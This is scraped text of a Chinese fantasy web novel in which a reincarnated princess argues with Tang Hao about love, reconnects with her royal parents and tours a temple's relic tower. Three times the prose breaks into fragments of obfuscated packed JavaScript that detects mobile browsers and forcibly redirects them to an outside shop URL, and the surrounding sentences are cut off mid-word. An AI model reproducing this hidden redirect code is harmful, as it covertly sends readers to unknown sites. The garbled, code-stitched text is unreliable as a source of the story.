苏晴沄却笑了,“正因为是一国之君,她女儿想嫁谁就嫁谁,废物又怎么了?她养得起。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191431|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她说这话时眼中尽是傲然不逊,华丽的面孔上贵气尽显。唐昊恍惚间竟以为真是凌王再对他说话,结结巴巴道:“可是,可是一个废人怎么能给平乐幸福?” “你给不了,别人就能给了?”苏晴沄很烦这种为了对方不告而别的爱情故事,连知情权都没有,被蒙在鼓里一辈子就能幸福了? “皓城人杰地灵,青年才俊数不胜数……” “是啊,比如徐翰。”她讥讽道。 唐昊如同遭受重击般向后退了半步,徐翰毫无疑问是青年才俊,可平乐却落了个不得善终的下场…… “你之所以想要离去并不是为了姬月的幸福,而是为了你自己的自尊。修为被废、样貌被毁,这样的你如何能在一国公主面前抬头?”苏晴沄回头看了眼威严矗立的宫殿,“凌王想必也看出来了,所以她让你回去想一日,看看你对姬月的爱能不能胜过你的自尊心。很可惜,你没那么爱姬月。” “不,不,不是……”唐昊嘴唇发白,不住摇头,“我是爱平乐的,我是爱平乐的……” 苏晴沄定定地看着他,然后给出了最后一击:“凌王不会恩准你守陵的,因为你不配。”说完她迈步离去,留下一脸失魂落魄的唐昊。 人生如戏,剧本已定。当年唐昊选择离开的那一刻便已经注定了今日的结局。 西九岭若有所思地追上去,问道:“你觉得当年唐昊留下,平乐公主还会爱他吗?” “留不留下,是唐昊的选择。爱不爱唐昊,是姬月的选择。唐昊直接剥夺了姬月的选择,这是爱吗?”苏晴沄嗤笑一声,“而他剥夺姬月选择的原因只有一个——他怕被姬月抛弃。那样的话他的自尊会受不了,所以就先一步抛弃了姬月。相比姬月,他更爱自己。” 说完,她耸了下肩,“这本来也没错,人嘛,当然是最爱自己的。可明明是自己不敢面对,却非要说成是为了对方好,那就有些令人不耻了。” “或许恰恰相反,他是怕公主依然爱他、不肯抛弃他呢?万一耽误了公主的终身幸福怎么办?” “彼此相爱怎么耽误终生幸福?” 西九岭被她问的无言以对,原本觉得很有道理的事,怎么说着说着就没道理了呢?他从新整理了一下思路,说道:“咱们换个例子。比如玉玦……师叔。” “缚魔阵中的那个玉玦师叔?” “对。假如玉玦师叔有一个恋人,当他得知自己要入阵的时候是不是应该隐瞒实情、跟恋人分手,好让恋人安心去寻找新道侣?” 苏晴沄想了想,“我还是觉得不应该剥夺另外一方的选择权。” 毕竟是自己心中想问的事情,西九岭终于找回了思路,他摇头道:“这种事情让对方选择只怕有些残忍。毕竟看守魔神是为了天下大义,他的恋人或许会迫于外界压力选择守候两人的爱情,被迫孤独一生。” “也不一定孤独一生吧?魔神可能会死啊,剑圣不是一直在修炼神之一剑吗?” “如果杀不死呢?” “那也是她自己的选择,即便是迫于压力,也比被蒙在鼓里好。” “你……是这么想的吗?” “当然。而且如果是我,肯定不会把希望寄托在他人身上,我会自己想办法杀死魔神,救出爱人。” “那可是数代前辈都无法完成的事情,你或许努力一生都只是白费。而且没有爱人陪伴,没有必胜的希望,就这样一直徒劳的等下去,等待一个注定不能给你幸福的人,值得吗?” 苏晴沄突然停下了脚步,转头看向他道:“我的幸福,不用人给。” 一瞬间,西九岭只觉得心跳都停止了。女人笃定的黑瞳闪烁着耀眼的光辉,傲睨一世的笑容比天上的太阳还要炫目。玉砌的殿宇、巍峨的宫墙、矗立的侍卫,一切的一切都在这一刻消散不见,只有那双眼、那个笑——充满了他的整片识海。 45. 新的家人 “什么?!穹山居然怀疑你杀人,还敢扣押你!来人那,发兵!发兵!” “哎呀!不是扣押,是协助调查!而且我根本没说自己的真实身份,也很快就被排除了嫌疑,后面只是因为自己好奇才一直跟着跑的。” 苏晴沄一脸发愁地看着暴跳如雷的景王,一边卖力解释一边看向景后请求支援。 回宫后她接受了便宜爹妈好一阵子的嘘寒问暖,终于在晚饭后找到机会说明调查天神教的前因后果,没想到刚开个头就引得便宜爹暴跳如雷。哎,她还没说那个穹山弟子就是齐鹤扬呢…… 景后看出女儿的无奈,连忙拉住丈夫的胳膊,“急什么急啊,天大的事儿也得让沄儿先把话说完啊!你这么打断沄儿,对她尊重吗?” 这不尊重女儿的大帽子一扣,景王立刻就蔫儿了,挠了挠头道:“是我心急了、心急了。沄儿你接着说,爹保证不再打断你了。” 苏晴沄对自己现任爹妈的溺爱有点儿无语,但总算能顺顺利利的把这段时间的调查经过讲了个明白。 从济水到柳城,从柳城到黎村,再从黎村到皓城,一路讲下来已经是明月高悬。 景王听罢就陷入了沉思,景后则适时递上了一杯茶水。 看着景王慢慢喝完茶,然后将宫人叫进来开始宣召,苏晴沄不禁目瞪口呆。 倒不是觉得便宜爹大半夜让人把一堆大臣从被窝里薅起来有什么不对,毕竟天神教事关重大,只是第一次发现这便宜爹是个认真理政的君王,突然就有点儿不适应。 景王布置完一切又喝了口茶,然后换上一副谄媚的笑脸转向女儿:“沄儿啊,父王想托你办点儿事儿啊。” 苏晴沄何其通透,立刻就明白了他的意思,“是要探探朝中大臣的灵脉,看有没有魔修渗透吧?” “哎呀,我们沄儿就是聪明!” “放心吧,我随时可以!” 当晚叫来的都是亲信大臣,没用多少功夫就确认了几人没有问题。但要将满朝上下都查一遍却不是容易事,好赖身为化神的苏晴沄只需要探查金丹以上修为的臣子,其余则交给几个元婴朝臣去做。 即便如此,也足足忙了三天,苏晴沄只觉得坐着探脉比横跨大陆还累,到最后直后悔自己把金刚砂借给了姬霜。 景后深知女儿辛苦,连续三天亲手煲汤,每晚定时送到。 喝着景后亲手煲的汤,享受着景后提供的捏肩服务,苏晴沄心头涌起无限暖意。这几日她已经渐渐习惯了跟这对父母的相处,前世模糊的画面也偶尔跃出脑海与当下交织。九岁就目睹父母离世的她,如今更珍惜眼前的亲人,她暗暗下定决心,以后要将景王夫妇当爹娘,前世的则是爸妈,都是她的亲父母! “怎么?今天的汤味道不好?”见她出神,景后关切地问道。 “不,很好喝!”苏晴沄抽回思绪,连忙将一碗汤咕咚咕咚喝了下去。 “好喝也不用这么急啊,万一呛到怎么办?”景后从她手中接过碗放到桌上,然后又坐回去继续给她捏肩。 苏晴沄抓住她的手腕,笑着转头道:“您都捏了半天了,该换我给您捏了。”说着调换了两人的位置,开始捏肩。 景后先是有些惊讶,然后十分开心地享受起来,“我们沄儿真是长大了,还知道心疼母后了。” “瞧您说的,好像我以前不孝顺似的。”记忆中的景公主虽然骄纵傲慢但很爱自己的父母,只是不会照顾人罢了。 “是,是,我们沄儿一直都孝顺。”景后笑着拍了拍她的手以示安慰,又突然想起了什么,说道,“对了,前几天你舅爷来信问你的近况,你有什么想跟他说的吗?娘等会儿回信的时候一起写上。” “前几天?您现在才回信啊?” “嗐,这不是刚收到信你就回来了吗?娘一高兴就把回信的事儿给忘了。”景后一脸的无所谓,“反正你舅爷收信一贯不着急,晚几天也无妨。” 这倒是,要着急就用传讯符了。 “怎么样,有想说的吗?没有娘就替你报个平安。” 苏晴沄觉得长辈关心自己,还是该说些什么的,于是道:“其他的估计舅爷也没兴趣,就跟他说我在柳城地母庙看到了一整面墙的彩石《地母飞升图》,色彩绚烂、工艺精湛,而且图中的地母身穿皮草,跟我之前所见的《地母飞升图》大相径庭,很开眼界。另外,我最近在用酒夕的身份。” 说到这里她想起了什么,问道:“是不是有人跟舅爷打听酒夕的事情,所以他才写信问我的?” 景后露出了一瞬的犹豫,然后才道:“那倒没有,他就是听说了退婚的事情,有点儿担心你。” “退婚的事情?”苏晴沄有些惊讶,“舅爷才听说吗?”就算平日不用传讯符与人交流,可这八卦早就传的人尽皆知了,他居然才知道? “嗐,你舅爷那人就这样,一开始画画就两耳不闻窗外事了,估计是刚完成什么画作才出门吧。” 说起舅爷的怪脾气,苏晴沄想起了几件年幼时的趣事,都是因为这位舅爷联络不及时闹出的乌龙。 景后见她偷笑就出言询问,然后便两人一起笑起来。 母亲能跟自己一起开怀,父亲能为自己发兵,舅爷也会担心她的近况。他们,是她新的家人。 想着,苏晴沄心底升起了暖意。奶奶,这一世我又有家人了。 心情放松下来就想起了些无关紧要的事情,她从芥子袋中取出一块茶碗大小、一寸多厚的石块,石块内蕴含的灵力立刻在寝殿中弥漫开来,厚重而温暖。 “你把地母神石拿出来做什么?”景后有些疑惑地看她。 “呃……”她刚才险些说出了额吉娜的石块几个字,跟齐鹤扬呆久了总是额吉娜、额吉娜的称呼地母,如今可得注意点儿了,“女儿想问这神石是怎么来的?” “穹山退婚时的赔礼啊?”虽然知道女儿已经不再介怀那个西九岭,可连这都忘了也断的太彻底了吧? “不,我是问在这之前,穹山是怎么得到神石的?这是额……地母的法器吗?” “哦,你问这个啊。”景后脸上的疑惑消失,一脸坦然地笑道,“娘也不知道。” …… 为什么您能说得如此理所应当?您不是掌控东半大陆的景国王后吗?与穹山比肩而立,连块石头的由来都不知道吗? 景后见她一脸纠结便解释道:“这神石几千年前就在穹山了,咱家的族谱都没那么久,怎么可能知道那时候的事?至于是不是法器,连穹山都不知道,娘就更不知道了” “穹山也不 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听到这里,苏晴沄觉得自己之前的猜测或许真的没错,她认真地看着母亲问道:“您还记得我说过的那个卢严吗?” “要非礼你的那个?” 女儿奴果然最关注的是这件事……“当时看起来像要非礼,不过后来女儿仔细想了想,当时我正从芥子袋中取出神石,他或许是因为想抢神石才伸手的。” 景后讶异道:“你没事总拿神石出来做什么?” 呃……您的关注点是不是有些跑偏? 苏晴沄默默将神石收了起来,“上次走的匆忙,您给我神石的时候也没顾上看。后来在济水酒馆里坐着无聊,周围又都是些凡人,我就想拿出来看看。谁知道卢严是个隐藏修为的魔修啊?哎呀,重点不是这个!” 说着她取出了一张拼接而成的地图递到景后面前,“这张地图是卢严的,据说上面标记了地珠的位置。我怀疑他当时在神石上感应到了相同的灵气,所以才想出手抢夺的。” 景后接过地图看了看,摇头道:“数千年来地珠也确实出现过几次,但地点均不相同,这地图肯定是假的,那个卢严也肯定没见过地珠。” 这话跟齐鹤扬说的一样,看来穹山和景国对于地珠的研究结论基本一致。 “而且娘也不认为这神石是跟地珠一样的法器。”景后将地图塞回她手中,“那么大个儿的法器是干吗用的?砸人啊?” “或许是防御型法器呢?” “那炼器材料为何要用石头?铁器不是更好?” 也对…… 景后继续道:“依娘看,这神石多半只是件地母遗物,或许是个石碑什么的。” 所谓地母遗物就是地母额吉娜使用过的器物,大多是早期崇拜者从额吉娜处获得的馈赠、代代相传至今,少数则是有相关史料记载、经考证确认的。虽然有些地母遗物蕴含灵气,但更多的则是没有灵气的凡物。 如果这神石真的只是件普通的地母遗物,那为何会蕴含如此强大的灵力呢? 见她满心疑虑的模样,景后说道:“其实你想了解地母遗物的事情,去趟浮云山不就得了?” 这一句提醒犹如醍醐灌顶,苏晴沄的眼睛瞬间亮了起来,她怎么忘了这天下最了解地母的人就在元城南面的浮云山上啊! 46. 浮云山(上) 腾云傲苍穹,金光穆神心,一丈红尘远,万界归浮云。 当苏晴沄随着上香的人流踏阶而上,清晨的日光正洒在半山腰的地母庙上,为神社覆上了一层金光、神采奕奕。环山的云雾恰好遮在建筑与山地交接之处,整座地母庙仿佛是被山间白云托起了一般、宛若仙境。 面对此景,一个个善男信女皆抬头仰视,眼中尽是憧憬,那金光熠熠之处便是他们心中的圣地所在,母神教总坛——浮云山地母庙。 这建筑选址果然讲究,苏晴沄心里想着笑盈盈转过头,视线正好跟旁边一个黑脸汉子撞上。那汉子突然被一个美女笑着看过来,立时间呆在了原地,脸庞就如同烧红了的黑炭,眼睛却直勾勾地不肯错开。他身边的婆娘一把将汉子扯到身后,挑眉瞪着苏晴沄、一脸不善。 苏晴沄有些尴尬地别回头继续前行,耳边还能听到婆娘骂自家汉子的声音。再看那云雾之上的琼楼,只觉得无人可说之下,就连殿宇上披着的金光也暗淡了几分。 总算跟着人流走到庙门前,她将那块刻着狮头蛇身浮雕的金牌出示给了守门神官,示意他低调通禀之后便一个人溜溜达达地来到了正殿前。 正殿内香火鼎盛,香客们一边祈福一边叩首,眉宇间尽是虔诚。黑压压的人头跪了一地,将正殿里填的满满当当。 苏晴沄使出早高峰挤地铁的本事才勉强给自己找了块落脚之地,终于看到了那尊当世最贵的地母像。 这尊地母像身高一丈六尺,通体由黄金铸造,双眼是黑色翡翠,嘴唇是红色珊瑚,身前的璎珞和头顶的宝冠总共镶嵌了五十六颗猫眼、七十二颗蓝宝、八十一颗红宝、一百三十六颗珍珠和不计其数的松石,而塑像手中托着的那颗直径二尺七寸五的地珠更是由一整颗玛瑙制成。 虽然无数文人骚客夸赞这尊地母像面貌如何庄严而祥和、微笑如何神秘而慈爱、眼神如何集犀利与温柔于一身,雕工如何神乎其技、鬼斧神工。但在她看来,主要还是一个字——贵! 她一个唯物主义青年自然没有叩拜,但还是在地母像面前上了香,一来是出于尊重,二来是自持景公主的身份。 在院子里转了一圈,远远瞧见方才那名神官一路小跑着归来想要行礼,她连忙抬手拦下、示意其莫要张扬。神官也颇有眼力劲,微微颔首之后也不说话便转身带起路来。 两人一前一后穿廊过院,将熙攘的人声渐渐留在了身后。走出最后一道院墙继续前行,不多时便见一处山崖,崖边云雾缭绕、不知深浅。近前才可见一条粗大的铁锁链系在崖边、向前延伸,如一条巨蟒钻入云中。 领路的神官走到锁链前方停下,转身俯首躬腰、站立不动,做恭请之姿。 苏晴沄心下立刻了然。当年浮云山地母庙落成的时候她曾经来过一次,虽然已过百年,但她依旧清楚的记得当年这处悬崖没有锁链,云雾也稀疏淡薄,可以看见对面耸立着一座孤峰。如今云浓雾重、不见孤峰,显然是有人设下了禁制封路。 神官立在锁链旁微微垂首,视线内公主的脚步已靠近锁链。她心中猜测着这位化神公主是会破开禁制过去还是会传音让大祭司出来接驾,却不料一慌神的功夫视线内的裙摆赫然消失,再抬头时云雾依旧,却哪里还有什么公主? 苏晴沄一步踏过禁制,直接落在了对面的孤峰之上。然后在看清眼前景象的瞬间,本来行云流水的动作和潇洒帅气的身姿就僵在了原地。 只见一众神官跪在孤峰崖前、匍匐成一片,领头站立的大祭司更是距离她不到三尺,再往前半步就要撞上了。 大祭司倒是一脸淡定,见她到来便行了个平礼,用略显苍老的声音说道:“圣母教第三十六任大祭司、浮云山神庙首座缈,率座下一百二十七位神官恭迎公主殿下仙驾莅临。” 那一百二十七个神官把孤峰前跪得满满一片,苏晴沄想让都让不开,只得说道:“我这次是微服出游,大祭司与诸位神官就免礼吧。” 谁知大祭司却并不领情,定定地看着她呆板道:“礼不可废。” 苏晴沄眼角抽搐了一下,记忆突然涌上心头。上次来的时候这位自称为缈的大祭司头发还没有花白,声音也不似这般苍老,但作风就如此时一样刻版守规。 知道这趟行程不会轻松的她果断放弃了劝说,摆起公主的架势说了一句平身。 谁知那一片神官起身了,大祭司的礼却没有收,而且依旧定定的看着自己,眼中透出一股不服输的气势。 什么意思?她不是已经念完公主的台词了吗?怎么还没完事? 这么近的距离被人盯着看,时间一长就忍不住心底发毛。苏晴沄调集全部脑细胞用力思考,终于在数完大祭司鱼尾纹的时候恍然明悟过来。站在国家角度她是公主,站在宗教角度对方是大祭司,他们的身份没有高下,所以……对方是在等她回礼。 在她行完一个平礼之后,大祭司终于直起了身子,有些得意的扬了扬下巴,似乎在说:看,公主也不能坏了本教的规矩! 苏晴沄则在终于被拉开的距离中深深吸了口自由的空气,然后一边听大祭司背台词似的讲述浮云山的发展历程,一边看着那一百二十七个神官如军训过一般整齐走位到了他们身后,只觉得这孤峰四周的景象都变得黯淡无光,什么山林翠柏,什么飞鹤逐云,都盖不住耳边的絮叨和眼里的规矩。 终于到厅堂落座,神官中也只留下了两人侍候,苏晴沄总算得以开口:“今天我来是有件事想请教大祭司。” 说着,她手一翻,额吉娜的石块便出现在了掌心,温暖厚重的灵气立刻弥散开来。 大祭司正欲开口,见她拿出神石来立刻双目圆睁,猛地从座位上弹起来,扑通一声跪到在地,惶恐道:“圣母教第三十六任大祭司、浮云山神庙首座缈恭迎地母圣物!” 随着她这一跪,原本立在门口的两个神官也急忙跪倒在地,外间则猛然传出急促的脚步声,似乎有人在往远处跑。 苏晴沄的面颊忍不住微微抽搐。娘,我错了,我不该总是随意拿出这块石头…… 她弱弱地起身,动作轻柔地将手中那块石头放在了自己原本的座位上,还调整了个方位显得端正一些,然后小心翼翼退到旁边,斜眼瞄着跪地的大祭司,等着下一步动作。 一息、两息、三息……大祭司就这么跪着一动不动、一言不发。门口那两个神官也学着她的模样,一动不动、一言不发。 就在苏晴沄绷不住准备开口的时候,外间急促的脚步声又出现了。这一次是由远及近,而且似乎人数众多,就连厅堂的地板都被震得微微颤动。 下一刻,厅堂的门被打开,一队神官鱼贯而入。 最前面两人端着一个三尺高的神冠疾步走到跪地的大祭司身边,为她戴好并理正;紧接着的两人拎着一件嵌满珠玉的绣金神服披到大祭司身上,为她套上袖子、系好衣袋;后面一人进了厅堂就开始熏香;而最后的四人则拿着湿布将地板迅速抹了一遍。 与此同时,更多的神官跪在了外间的廊道上和厅前的院子里,从内往外看不全数目,但苏晴沄猜想那一百二十七个神官又都回来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245882|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于准备周全,进屋的九个神官退出厅堂、跪入队列。大祭司开始向着座椅上的石块磕头,一连磕了九次才直起身躯,满眼欣慰道:“地母神石归于公主,实在是本教之福!大景之福!万民之福!” 苏晴沄的面颊又抽搐了,她可是被退婚了啊! 接下来又是一堆繁琐的仪式,那一百二十七个神官按照地位不同分批次叩拜了额吉娜的石块,然后又集体叩拜了一回,才终于列队离去。 苏晴沄看着一堆人对着一块石头来回来去磕头,渐渐有些麻木。虽然她身为公主也不介意被忽视,但希望这些人至少能给她一个离开的机会,为什么她要旁观圣母教参拜神石的仪式啊! 等到一切结束,大祭司脱下神服、卸下神冠,重新坐回座位上看着苏晴沄道:“不知公主殿下今日驾临所为何事?” 经过这一番折腾,苏晴沄只觉得脑袋里木木的,都快忘了自己是来干吗的了。被这么一问才有些回过神来,重新整理了思路,将遇到卢严的经过、卢雪手中的地图,以及她的猜测都讲了一遍。 大祭司仔细端详地图,然后沉吟片刻道:“依据本教记载,地珠已随地母飞升上界,这地图必然是假的。” “可我听穹山道友说,这万年来地珠曾经出现过数次,只是每次位置不同而已。” 大祭司的面色微沉,不悦道:“穹山不理神圣,自然一知半解。地母慈爱,回归神界后依旧心系子民,每当天灾出现便会降下地珠温养大地。愚人只见到地珠现世,却不知地母在上矣。” 苏晴沄知道圣母教的观念与仙门不同,他们认为地母来自神界,开化万民后又回归了神界。不过她还是第一次听说地珠温养大地的事情,“地珠现世是为了平复天灾?” “依据本教记载,地珠现世为人所见共有三次,一次是杨山地动,一次是沅河倒流,一次是斧驭山喷火,每次皆在平息灾难后返回神界。” 虽然圣母教是在景国建国后才兴起的,但其实已经存在了近万年,期间虽有中断,但整体存续时间比穹山历史还长,所以苏晴沄相信这些记录的真实性不会输给穹山。反倒是齐鹤扬说的并不详细,或许是并不了解核心机密,又或者法宝出世必有异象的观念在修士心中根深蒂固,所以不会将地珠现世与平息天灾联系到一起。 “卢严一个隐匿身份的天神教徒,断然不会贸然抢夺神石。如果不是见过地珠,那就是见过其他存有相同灵气的地母遗物?” “本座推测也是如此。那人想来是将某件地母遗物误认为地珠,记录在这地图之上了。” “卢严跟卢雪说突破元婴后便去取宝,是否说明那件地母遗物是元婴才能掌控的法器?” “到也未必。许多出自秘境的地母遗物都曾被禁制保护,需要一定的修为破开封印才能获取。” “不是法器的地母遗物也能蕴藏灵力吗?” “殿下所持的神石不就如此吗?” “可我在宫中也见过些地母遗物,都是没有灵力的,所以猜想这神石是某样法器上掉落的碎片。” “原来如此。”大祭司似乎明白了她为何会有这种想法,将地图递还回去,看向窗外道,“天色已晚,不如殿下今日就在山上住下、斋戒沐浴,明日随本座去个地方。” 苏晴沄也跟着看向窗外,面颊微微抽搐。问你问题就回答啊,干吗突然让人住下?为什么会谈到天色已晚你心里没点儿数吗? 再说住下就住下呗,干吗还要斋戒沐浴?沐浴就算了,反正天天要洗澡,可你凭什么让我斋戒?我要吃肉! 47. 浮云山(下) 金色的铃铛…… 门边、窗下、墙角、藻井,苏晴沄只觉得自己满眼都是铃铛。不过六十平大小的房间,居然挂了上百个,这数量实在是太多了! 大祭司的声音从身侧传来:“这里是本教供奉地母遗物之处——金铃塔。” 原来是供奉地母遗物的地方,怪不得要她斋戒沐浴…… 等等!苏晴沄向后退了一步,抬头看向屋顶,确定上面没有其他楼层。金铃她看出来了,塔没看出来啊? 大祭司看出她的疑惑,在一旁说明道:“金铃塔自上而下共有七层,每层皆供奉地母遗物,最深处的第七层更是供奉着本教至宝——地母神冠。为确保万无一失,本教专门炼制了一万三千只金铃坠于塔内,若非使用本座的玉牌开门,一万三千只金铃便会同时响起,整座浮云山皆可听到。” 苏晴沄下意识看向脚下,居然还有向下修建的塔,这该叫地窖才对吧? 大祭司继续说道:“金铃塔隐匿于四周殿宇之间,不易引人注意。万一有恶徒潜入,想要窃取贵重遗物也必须下行,如此一来只能使用土遁之术逃脱。而此塔周围早已布下阵法,方圆一里内是无法使用土遁的。” 苏晴沄微微点头,迈步走了进去。 绕过门前的屏风,屋内景象尽收眼底。只见靠墙摆放了许多桌椅、板凳、竹筐、陶罐,甚至还有一个矮柜。地面中央立着两个竹编的大箩筐,里面插满了耙犁、扫帚、鸡毛掸子之类的杂物。 她忍不住面颊微微抽动了一下,觉得此刻该有一只中华田园犬跑出来摇尾巴才对。“这些……都是地母遗物?” 大祭司刻版的面孔上没有一丝表情,只道了句是,便绕开屋内摆放的遗物,向着房间一角走去。 苏晴沄立刻注意到下行楼梯就在那个方向,明白这层不是重点,也跟着走了过去。 大祭司边走边道:“地母分四季、治水土、教化万民,建立图克部落、宣扬圣德、广收门徒。本教初代大祭司垚便是地母的徒孙,其祖父曾在图克部落接受地母的教诲与恩赐,这第一层中的遗物大多是初代大祭司自祖父处继承而来,都是地母的恩赐之物。” 还以为大祭司打算直接忽略这层,没想到还是有说明的。她迈下台阶前又看了眼那些充满乡土气息的地母遗物,收徒弟还发生活用品,不知道收不收学费?当然,这个问题她是不会问的。 第二层存放的依旧是日常用具,只不过更加精巧、美观。 第三层是衣物、鞋帽之类,其中有几件皮草格外精美,水准不输元城的高档制衣店,引得苏晴沄啧啧称奇。 第四层是工艺品,残缺的壁画、石刻、陶制摆件,种类繁多、琳琅满目。 虽然只是走马观花的浏览,苏晴沄还是忍不住内心震撼。纵使整个部落的东西都算地母遗物,被保存下来的数量也依旧太过惊人了!毕竟这些都是信徒们各自保存或寻觅,而不是挖掘遗迹时统一出土的。经历了万年的历史变迁居然还能有这么多遗物被保存下来、献给教派,可见这些信徒是多么虔诚与执着。如今她才有些相信圣母教宣扬的万年宗教史了。 进入第五层,房间内的气息有了明显的变化。 这里整齐排列着十二个多宝阁,每一个都摆满了金玉饰品。虽然这些饰品的工艺不算精致,但使用的材料却都是实打实的天材地宝,即便未经炼制也饱含天然灵力。 靠墙摆放的八口箱子里更是堆满了五颜六色的玉石,虽然品阶不高却都是可以炼器的灵材,这哪儿是什么地母遗物啊?分明是一屋子的天材地宝! 大祭司见她默然矗立,开口说道:“品阶都一般,只是数量多些而已。” 苏晴沄扯了下嘴角,觉得这话透着浓浓的凡尔赛气息,“这些玉石让我想起了柳城那一整面墙的彩石壁画,传说万年前的图克部落就在那里,是真的吗?” 大祭司刻版的面孔上透出了一丝恨铁不成钢的怨气,用班主任看差生的眼神看着她问道:“殿下不知道么?” 苏晴沄有些心虚地别开眼。记忆中的景公主确实是个神学差生,而究其原因,主要是年少时对西九岭一见钟情,从此便偏向了修士之道,疏于学习国教。 大祭司蹙起的眉头扯动了眼角的皱纹,面颊两侧立时显得沟壑重重。她语重心长道:“本教受先王尊崇、立为国教,两百年来宣扬圣道、殚精竭虑,从不敢有一刻辜负王恩。时至今日,缈也望能追随公主、弘扬教义、度化万民。只愿公主莫要弃圣道而修行、舍根本而求他,辜负了先王的苦心。” 为什么这个人总是不肯直接回答问题!而且她只是忘了个知识点,有必要这么上纲上线吗?! 苏晴沄心中腹诽,嘴上却道:“大祭司放心,本宫不会改变信仰的。”她的唯物主义信仰绝对坚定,“之前只是专于修行,忽视了其他功课,如今不是专程来跟您求教了么?” 大祭司似乎是觉得她跑来求教的行为颇有诚意,眉头缓缓舒展,转而开启了补课模式:“依据本教记载,图克部落位于柳城西方的女神山附近。上古时期的图克部落土地肥沃、水源丰沛、灵气充盈,盛产天材地宝。但随着地母回归神界,地上灵气衰落,天材地宝便逐渐稀少起来。” “图克部落是因为灵气衰败而消亡的吗?” “图克部落的人是地母最初的信仰者,地母回归神界之后,这些人便成为了第一批传道者。他们奔赴各地、收徒传教、广播圣道,部落内则渐渐空虚、直至没落。” “所以这里的玉石都是那些传道者从部落里带出来的?” “有的是代代相传下来的,有的则是流落各地,被一代代信徒搜集起来的。” 苏晴沄感叹道:“万年前这些天材地宝或许不算稀奇,可如今却是不可小觑的财富,信徒们依旧愿意奉出遗物,实属不易啊。” 大祭司露出自豪之色,看着一屋子的天材地宝慨然道:“这些,便是本教上下虔诚信仰的最好证明。” 苏晴沄却摇了摇头,说道:“第一层才是虔诚信仰的最好证明。” 大祭司怔了一下,转而明白过来,点头道:“殿下所言极是。”天材地宝稀有珍贵,能够保存万年并不稀奇,稀奇的是一堆耙犁、扫帚等无用之物也能保存万年。 继续向下来到第六层,苏晴沄只觉得房间空旷了许多。 这一层供奉的地母遗物比上面几层骤然减少,但蕴含的灵力却高出许多,因为这一层的地母遗物都是法器,而且是古怪的法器。 什么鸡毛掸子、扫帚、石磨、独轮车……还有件看不出是什么功用的木制品,外形有点儿像龙猫的跑轮,只是圆筒中间插了三块木板,有点儿像没连上的奔驰标。 她围着那东西转了几圈也没看出个所以然,好奇地问道:“这是什么?” 大祭司走到近前,指着圆筒敞开的一面道:“将衣物放在其中、架入河水、盖上盖子便可以灵力驱动、清洗衣物,只是这侧面的盖子不知去向,已经无法使用了。” 竟然是个洗衣机! 大祭司问道:“这些法器,殿下以为如何?” 苏晴沄抚摸着圆筒赞叹道:“地母太厉害了!简直是个发明家啊!”要不是这洗衣机跟现代样式出入太大,她都要怀疑地母是个穿越者了。 大祭司怔了一下,发明家是什么东西?“本座是问,殿下觉得这些法器中蕴含的灵力如何。” 呃……苏晴沄有些尴尬地收回了手,“这些法器中的灵力与地母神石中的一般无二,但多寡却有天壤之别。” “正是。”大祭司赞同道,“虽为法器,但所藏灵力却不及神石万一,故而灵力多寡并非取决于是否法器。” “但目前也未见到非法器的遗物可与神石灵力媲美。” “那是因为殿下还未去到第七层。” 苏晴沄点了点头。她知道第七层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13278325|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存放的是地母遗物中的顶级至尊,传说是地母统治部落时头戴的王冠,这件象征权利的神冠虽然不是法器却蕴含着无比深邃的灵力,一直被视为圣母教的镇教之宝。 看着大祭司走向房间一角,她有些疑惑地跟了上去,因为那里并没有下行楼梯的踪影。 大祭司走到墙角前面停住脚步,口中念念有词、双手开始结印,片刻后墙壁渐渐变得透明,现出一道幻门。 穿过幻门,苏晴沄一脚踏在楼梯之上,发出清脆的声响。低头看去,原来落脚处竟是一道淡紫色的水晶旋梯,旋梯左右没有扶手,环视四周可以看见浅黄色的水晶墙面上隐约倒映出自己的影像。抬头看,白水晶与绿水晶横竖构建的藻井中央坠着一个巨大的紫水晶吊灯,吊灯中央困着一团灵火,灯光便是无数十二菱形水晶反射的灵火光芒。 沿着旋梯缓缓向下,白色水晶打磨的地面接住了她的脚步。苏晴沄转头回视,吊灯下,那一条水晶旋梯晶莹剔透、如梦似幻,仿若出自童话世界一般。 这第七层的水晶房间挑高足有三丈,面积也是前几层房间的三倍有余,而如此大的一个房间内只有正中央摆放着一个孤零零的水晶圆柱,圆柱上托着一个精巧的宝冠。宝冠主体白玉镶金,正中央镶嵌着一颗硕大的红宝石,冠上插着一圈金红色翎羽,温暖厚重的灵力在宝冠缓缓流转,沉寂而神秘。 毫无疑问,那便是地母神冠。 